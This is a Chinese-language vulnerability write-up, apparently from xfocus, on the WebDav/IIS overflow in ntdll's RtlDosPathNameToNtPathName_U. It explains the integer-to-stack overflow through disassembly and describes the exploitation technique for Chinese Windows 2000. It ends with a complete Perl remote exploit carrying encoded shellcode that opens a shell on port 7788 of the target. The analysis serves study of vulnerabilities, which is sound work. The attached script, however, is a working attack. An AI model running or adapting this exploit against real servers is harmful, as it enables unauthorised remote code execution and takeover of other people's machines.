文章来源:http://www.xfocus.net
WebDav远程溢出漏洞分析
by isno@xfocus.org
一、漏洞分析
这个漏洞可能是前些年就有牛人发现了的,不过一直没公布,直到最近微软出了安全公告大家才知道原来有这么个漏洞。虽然WebDav是通过IIS来利用这个漏洞的,但是漏洞本身并不是IIS造成的,而是ntdll.dll里面的一个API函数造成的。有就是说,很多调用这个API的应用程序都存在这个漏洞。整个漏洞的引用关系是这样的:
IIS->WebDav->kernel32!GetFileAttributesExW->ntdll!RtlDosPathNameToNtPathName_U(溢出)
其中GetFileAttributesExW是一个很常用的,用来得到文件属性的API函数,它的第一个参数是文件名。并且随后调用ntdll.dll中的RtlDosPathNameToNtPathName_U函数,来处理这个文件名。如果给一个超长的文件名,就会导致RtlDosPathNameToNtPathName_U函数中发生溢出。
这个溢出从本质上来说是一个短整型数溢出,而后导致了堆栈溢出。最近出现的很多漏洞都是整数溢出引起的,这一点值得研究。
当我们对IIS发送如下请求就会触发溢出:
SEARCH /[buffer(>65513 bytes)] HTTP/1.0
其中IIS就把buffer前面加上几个字节的路径,然后作为文件名参数传给了GetFileAttributesExW,然后GetFileAttributesExW又把这个长字符串作为参数传给RtlDosPathNameToNtPathName_U,然后就溢出了。
下面我们就来看看溢出是怎样发生的:
.text:77F8AFFC public RtlDosPathNameToNtPathName_U
.text:77F8AFFC RtlDosPathNameToNtPathName_U proc near ; CODE XREF: sub_77F87F5C+15p
.text:77F8AFFC ; .text:77F8D9F8p ...
.text:77F8AFFC push ebp
.text:77F8AFFD mov ebp, esp
.text:77F8AFFF push 0FFFFFFFFh
.text:77F8B001 push offset dword_77F8B1E8
.text:77F8B006 push offset sub_77F82B95
.text:77F8B00B mov eax, large fs:0
.text:77F8B011 push eax
.text:77F8B012 mov large fs:0, esp ;建立异常链
.text:77F8B019 push ecx
.text:77F8B01A push ecx
.text:77F8B01B sub esp, 26Ch
.text:77F8B021 push ebx
.text:77F8B022 push esi
.text:77F8B023 push edi
.text:77F8B024 mov [ebp+var_18], esp
.text:77F8B027 xor ebx, ebx
.text:77F8B029 mov [ebp+var_58], ebx
.text:77F8B02C mov [ebp+var_3C], ebx
.text:77F8B02F mov edi, 20Ah
.text:77F8B034 mov esi, edi
.text:77F8B036 push [ebp+arg_0] ;路径UNICODE字符串
.text:77F8B039 lea eax, [ebp+var_30] ;UNICODE_STRING结构指针
.text:77F8B03C push eax
.text:77F8B03D call RtlInitUnicodeString
调用RtlInitUnicodeString函数来初始化UNICODE_STRING结构,UNICODE_STRING结构如下:
typedef struct _UNICODE_STRING {
USHORT Length; //UNICODE字符串长度,短整型数,最大可以是0xffff即65535
USHORT MaximumLength; //UNICODE字符串可存储最大长度,短整型,最大可以是0xffff即65535
PWSTR Buffer; //存放UNICODE字符串的地址
} UNICODE_STRING *PUNICODE_STRING;
RtlInitUnicodeString的作用其实就是把路径字符串存放到Buffer,并计算其长度,放在Length里。这里就存在一个短整型数溢出,如果路径字符串的长度超过65535,由于Length是短整型数,所以无法容纳,就会溢出,例如当路径长度是65536,那么Length就为0,与实际长度不等。在后面会使用到Length的时候就导致了普通的堆栈溢出。
.text:77F8B05A lea eax, [ebp+var_270]
.text:77F8B060 mov [ebp+var_3C], eax
RtlDosPathNameToNtPathName_U函数堆栈中的地址,距离函数栈底的距离为0x270字节,后面会作为参数传入sub_77F8AC33
.text:77F8B0A0 lea eax, [ebp+var_274]
.text:77F8B0A6 push eax
.text:77F8B0A7 lea eax, [ebp+var_38]
.text:77F8B0AA push eax
.text:77F8B0AB push [ebp+arg_8]
.text:77F8B0AE push [ebp+var_3C] ;前面取的那个堆栈地址[ebp+var_270]
.text:77F8B0B1 mov edi, 208h
.text:77F8B0B6 push edi ;长度限制,0x208
.text:77F8B0B7 lea eax, [ebp+var_30] ;已经初始化过的UNICODE_STRING结构指针
.text:77F8B0BA push eax
.text:77F8B0BB call sub_77F8AC33 ;调用sub_77F8AC33
.text:77F8AC33 sub_77F8AC33 proc near ; CODE XREF: RtlGetFullPathName_U+24p
.text:77F8AC33 ; RtlDosPathNameToNtPathName_U+BFp ...
......
.text:77F8AD96 mov dx, [ebp+var_30]
.text:77F8AD9A movzx esi, dx
.text:77F8AD9D mov eax, [ebp+var_28]
.text:77F8ADA0 lea ecx, [eax+esi] ;ecx就是UNICODE_STRING结构中的Length
.text:77F8ADA3 mov [ebp+var_5C], ecx
.text:77F8ADA6 cmp ecx, [ebp+arg_4] ;长度限制比较,Length与arg_4参数(即0x208)进行比较
.text:77F8ADA9 jnb loc_77F8E771 ;如果UNICODE字符串的长度大于0x208就跳转到错误处理
这里是有一个长度限制的,即UNICODE字符串的长度Length不能超过0x208字节,否则就认为是超长的,不进行字符串拷贝。但是由于Length这个短整型数溢出了,它比UNICODE字符串的实际长度小的多,所以造成长度限制比较失效,从而造成了后面的溢出。
进行完长度限制比较后,就会把UNICODE_STRING结构中的Buffer里面的内容拷贝到[arg_8+offset]里面(offset很小),也就是前面取的那个堆栈地址[ebp+var_270]里面。
.text:77F8AE1B movzx ecx, [ebp+var_4C]
.text:77F8AE1F add ecx, [ebp+arg_8] ;ecx就是前面取的那个堆栈地址[ebp+var_270]
......
接下来就是一些的字符串copy操作,把UNICODE_STRING结构中的Buffer里面的内容拷贝到[arg_8+offset]里面。
.text:77F8AE63 mov [ecx], dx
.text:77F8AE66 add ecx, ebx
字符串copy的时候就溢出了,会把RtlDosPathNameToNtPathName_U函数的返回地址,以及建立的异常链全部覆盖掉。一般我们通过把异常处理指针覆盖成我们能控制的地址,这样后面触发异常的时候就会跳去执行我们的shellcode。
大概的过程就是这样,当然其中还有一些比较复杂的处理,不再赘述。
二、漏洞利用
微软的公告出来之后,我就重现了这个漏洞,但是由于很长时间不搞这些东西了,连softice命令都要重新学学才能记起来。到要写这个的exploit程序,又发现其中的UNICODE转换很烦人,到现在也一直没有很通用的办法来利用。后来等到老外公布了他的exploit程序,我才发现原来中文版和英文版的Windows 2000的UNICODE转换不一样,对中文版win2000的exploit要麻烦的多,像老外那样子写的exploit程序根本无法攻击中文版的win2000。
当我们把“SEARCH /[buffer] HTTP/1.0”传给IIS后,先进行一系列的处理把buffer解析出来,然后对buffer进行MultiByteToWideChar转换,把buffer转换成UNICODE形式。中文版和英文版的win2000的转换应该是不一样的,可能是转换的CodePage不一样,英文版可能是使用CP_ACP,中文版可能使用的是CP_UTF*,具体是怎样转换的我也没搞清楚,总之转换出的结果在中文版和英文版中应该是不一样的。
这样就造成了中文版的难以利用,因为英文版中可以直接把一些指令或返回地址放在buffer里面,转换成UNICODE之后也不会改变。但是中文版的在转换之后就有好多字节变了,导致无法利用。按说像以前的ida/idq溢出也是经过UNICODE转换的,那个就可以用%u的方法进行编码,使得某些字节不进行转换。WebDav的溢出虽然也能用%u编码来控制不进行转换,但是实际调试发现某些不符合规范的字节还是被改变了。估计是对有%u编码的字节先进行了MultiByteToWideChar转换,然后又用WideCharToMultiByte给转回来了。所以不符合UNICODE编码规范的字符就还是被改变了。
最困难的问题就是我们用来覆盖的返回地址的范围大大缩小了,只能用一些符合UNICODE编码规范的字符,否则就会被转换调。可视字符(0x20~0x7f)当然是可以用的,但是要用这些字符来构造出可执行的指令就比较困难了,所以不能用含JMP EBX之类指令的地址来作为返回地址,否则即使返回到buffer里面也很难用一段指令跳转到shellcode去。而英文版就没有这个问题,可是现在公布的exploit都没用%u编码和JMP EBX地址的方法,而是用堆栈地址做返回地址,这样导致这些exploit对付英文版时成功率也不高。
对付中文版的win2000麻烦的多,因为在buffer里面不允许有不符合UNICODE编码的字符,所以直接使用堆栈内的shellcode地址作为返回地址比较好。这样就需要在shellcode之前放尽量多的NOP,占据一段比较大的内存空间,这样确保返回到NOP里面。HTTP协议里面允许存放最大量数据的地方就是POST数据,所以shellcode就放在这里。整个HTTP请求这样构造:
SEARCH /[ret]...[ret][AAA...AAA][qq] HTTP/1.0
Host: ISNO
Content-Type: text/xml
Content-length: [NOP和Shellcode的总长度]
[NOPNOPNOP...NOPNOP][Shellcode]
因为AAAA...AAAA的长度比较长,怕万一返回到这里面就没办法执行shellcode了,所以在AAAA的后面要放一个跳转指令,因为在堆栈里NOP和shellcode是AAAA的后面排列的(但是并不紧挨着,中间有一些无用字符),所以如果返回到AAAA里面就一直执行inc ecx指令(0x41),然后最后跳转到NOP里去。因为在这里面要用符合UNICODE编码的指令,所以一般的jmp指令(0xeb)都不能用,我们就用一个jno xxxx(0x71)指令向后跳转。所以我们在AAAA的后面放上两个q(0x71)来作为跳转指令,这样即使返回到AAAA里面也能保证最后跳转到后面的shellcode执行。
具体的exploit程序请参见附程序。
我在几个中文版win2000+SP2和SP3上都测试成功了,但是也有一些机器不能成功,需要调整返回地址才行。所以这个程序的通用性仍然不是很好。另外一些机器上还有返回地址要有2个字节对齐的问题,因此使用的返回地址尽量用前两个字节和后两个字节相同的,例如0x00d700d7。
顺便说一下,我发现perl真是好东西,尤其是用来构造字符串非常方便。
三、总结
这是一个典型的整数溢出导致的堆栈溢出,和以前那个ASP溢出有相似之处,只不过ASP溢出是整数溢出导致堆溢出。这个漏洞的另一个特点就是它是UNICODE转换之后的溢出,这大大增加了利用的难度。
由于本人水平极为有限,加上没有时间进行更仔细的分析,所以对一些处理过程的理解可能不正确,对该漏洞的分析肯定存在纰漏,也许IIS有一些特殊的转换处理过程我没有发现,可能会导致这个漏洞有非常容易的方法来利用。写这个文章的目的就在于抛砖引玉,让牛人们把好的exploit方法公布出来,让小弟我也学习一下。
附WebDav远程溢出程序:
----------------------------------------------------------------------
#!/usr/bin/perl
#65514 by isno@xfocus.org
#tested on Win2k SP3 Chinese version
use IO::Socket;
if ($#ARGV<0){die "webdavx.pl IP\r\n";}
$host = @ARGV[0];
$port= 80;
$ret = "%u00d7%u00d7" x 500;
$buf = "A" x 64502;
$jmp = "BBBBBBBBBBqq";# qq="\x71\x71" means jno xxxx
$nop = "\x90" x 40000;
$sc =
"\x90\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90".
"\x90\x8b\xc5\x33\xc9\x66\xb9\x10\x03\x50\x80\x30\x97\x40\xe2\xfa".
"\x7e\x8e\x95\x97\x97\xcd\x1c\x4d\x14\x7c\x90\xfd\x68\xc4\xf3\x36".
"\x97\x97\x97\x97\xc7\xf3\x1e\xb2\x97\x97\x97\x97\xa4\x4c\x2c\x97".
"\x97\x77\xe0\x7f\x4b\x96\x97\x97\x16\x6c\x97\x97\x68\x28\x98\x14".
"\x59\x96\x97\x97\x16\x54\x97\x97\x96\x97\xf1\x16\xac\xda\xcd\xe2".
"\x70\xa4\x57\x1c\xd4\xab\x94\x54\xf1\x16\xaf\xc7\xd2\xe2\x4e\x14".
"\x57\xef\x1c\xa7\x94\x64\x1c\xd9\x9b\x94\x5c\x16\xae\xdc\xd2\xc5".
"\xd9\xe2\x52\x16\xee\x93\xd2\xdb\xa4\xa5\xe2\x2b\xa4\x68\x1c\xd1".
"\xb7\x94\x54\x1c\x5c\x94\x9f\x16\xae\xd0\xf2\xe3\xc7\xe2\x9e\x16".
"\xee\x93\xe5\xf8\xf4\xd6\xe3\x91\xd0\x14\x57\x93\x7c\x72\x94\x68".
"\x94\x6c\x1c\xc1\xb3\x94\x6d\xa4\x45\xf1\x1c\x80\x1c\x6d\x1c\xd1".
"\x87\xdf\x94\x6f\xa4\x5e\x1c\x58\x94\x5e\x94\x5e\x94\xd9\x8b\x94".
"\x5c\x1c\xae\x94\x6c\x7e\xfe\x96\x97\x97\xc9\x10\x60\x1c\x40\xa4".
"\x57\x60\x47\x1c\x5f\x65\x38\x1e\xa5\x1a\xd5\x9f\xc5\xc7\xc4\x68".
"\x85\xcd\x1e\xd5\x93\x1a\xe5\x82\xc5\xc1\x68\xc5\x93\xcd\xa4\x57".
"\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x13\x5e\xe3\x9e\xc5\xc1\xc4".
"\x68\x85\xcd\x3c\x75\x7f\xd1\xc5\xc1\x68\xc5\x93\xcd\x1c\x4f\xa4".
"\x57\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x17\x6e\x95\xe3\x9e\xc5".
"\xc1\xc4\x68\x85\xcd\x3c\x75\x70\xa4\x57\xc7\xd7\xc7\xd7\xc7\x68".
"\xc0\x7f\x04\xfd\x87\xc1\xc4\x68\xc0\x7b\xfd\x95\xc4\x68\xc0\x67".
"\xa4\x57\xc0\xc7\x27\x9b\x3c\xcf\x3c\xd7\x3c\xc8\xdf\xc7\xc0\xc1".
"\x3a\xc1\x68\xc0\x57\xdf\xc7\xc0\x3a\xc1\x3a\xc1\x68\xc0\x57\xdf".
"\x27\xd3\x1e\x90\xc0\x68\xc0\x53\xa4\x57\x1c\xd1\x63\x1e\xd0\xab".
"\x1e\xd0\xd7\x1c\x91\x1e\xd0\xaf\xa4\x57\xf1\x2f\x96\x96\x1e\xd0".
"\xbb\xc0\xc0\xa4\x57\xc7\xc7\xc7\xd7\xc7\xdf\xc7\xc7\x3a\xc1\xa4".
"\x57\xc7\x68\xc0\x5f\x68\xe1\x67\x68\xc0\x5b\x68\xe1\x6b\x68\xc0".
"\x5b\xdf\xc7\xc7\xc4\x68\xc0\x63\x1c\x4f\xa4\x57\x23\x93\xc7\x56".
"\x7f\x93\xc7\x68\xc0\x43\x1c\x67\xa4\x57\x1c\x5f\x22\x93\xc7\xc7".
"\xc0\xc6\xc1\x68\xe0\x3f\x68\xc0\x47\x14\xa8\x96\xeb\xb5\xa4\x57".
"\xc7\xc0\x68\xa0\xc1\x68\xe0\x3f\x68\xc0\x4b\x9c\x57\xe3\xb8\xa4".
"\x57\xc7\x68\xa0\xc1\xc4\x68\xc0\x6f\xfd\xc7\x68\xc0\x77\x7c\x5f".
"\xa4\x57\xc7\x23\x93\xc7\xc1\xc4\x68\xc0\x6b\xc0\xa4\x5e\xc6\xc7".
"\xc1\x68\xe0\x3b\x68\xc0\x4f\xfd\xc7\x68\xc0\x77\x7c\x3d\xc7\x68".
"\xc0\x73\x7c\x69\xcf\xc7\x1e\xd5\x65\x54\x1c\xd3\xb3\x9b\x92\x2f".
"\x97\x97\x97\x50\x97\xef\xc1\xa3\x85\xa4\x57\x54\x7c\x7b\x7f\x75".
"\x6a\x68\x68\x7f\x05\x69\x68\x68\xdc\xc1\x70\xe0\xb4\x17\x70\xe0".
"\xdb\xf8\xf6\xf3\xdb\xfe\xf5\xe5\xf6\xe5\xee\xd6\x97\xdc\xd2\xc5".
"\xd9\xd2\xdb\xa4\xa5\x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xfe\xe7\xf2".
"\x97\xd0\xf2\xe3\xc4\xe3\xf6\xe5\xe3\xe2\xe7\xde\xf9\xf1\xf8\xd6".
"\x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xe5\xf8\xf4\xf2\xe4\xe4\xd6\x97".
"\xd4\xfb\xf8\xe4\xf2\xdf\xf6\xf9\xf3\xfb\xf2\x97\xc7\xf2\xf2\xfc".
"\xd9\xf6\xfa\xf2\xf3\xc7\xfe\xe7\xf2\x97\xd0\xfb\xf8\xf5\xf6\xfb".
"\xd6\xfb\xfb\xf8\xf4\x97\xc0\xe5\xfe\xe3\xf2\xd1\xfe\xfb\xf2\x97".
"\xc5\xf2\xf6\xf3\xd1\xfe\xfb\xf2\x97\xc4\xfb\xf2\xf2\xe7\x97\xd2".
"\xef\xfe\xe3\xc7\xe5\xf8\xf4\xf2\xe4\xe4\x97\x97\xc0\xc4\xd8\xd4".
"\xdc\xa4\xa5\x97\xe4\xf8\xf4\xfc\xf2\xe3\x97\xf5\xfe\xf9\xf3\x97".
"\xfb\xfe\xe4\xe3\xf2\xf9\x97\xf6\xf4\xf4\xf2\xe7\xe3\x97\xe4\xf2".
"\xf9\xf3\x97\xe5\xf2\xf4\xe1\x97\x95\x97\x89\xfb\x97\x97\x97\x97".
"\x97\x97\x97\x97\x97\x97\x97\x97\xf4\xfa\xf3\xb9\xf2\xef\xf2\x97".
"\x68\x68\x68\x68";
$socket = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port, Proto => "tcp", Type =>SOCK_STREAM) or die "Couldn't connect: @!\n";
print $socket "SEARCH /$ret$buf$jmp HTTP/1.0\r\n";
print $socket "Host: ISNO\r\n";
print $socket "Content-Type: text/xml\r\n";
print $socket "Content-length: 40804\r\n\r\n";
print $socket "$nop$sc\r\n";
print "send buffer...\r\n";
print "telnet target 7788\r\n";
close($socket);
----------------------------------------------------------------------